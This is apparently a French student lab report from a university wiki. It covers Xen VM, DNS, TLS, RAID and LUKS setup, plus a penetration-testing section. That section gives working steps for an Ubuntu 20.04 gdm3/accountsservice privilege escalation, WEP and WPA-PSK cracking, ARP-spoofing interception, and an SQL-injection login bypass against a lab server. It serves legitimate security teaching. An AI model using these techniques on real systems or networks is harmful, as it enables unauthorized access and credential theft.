&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54243</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54243"/>
				<updated>2020-12-02T13:25:42Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.3 Sécurisation de site web par certificat */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant configurer le serveur mail de notre VM:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Nous commençons&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
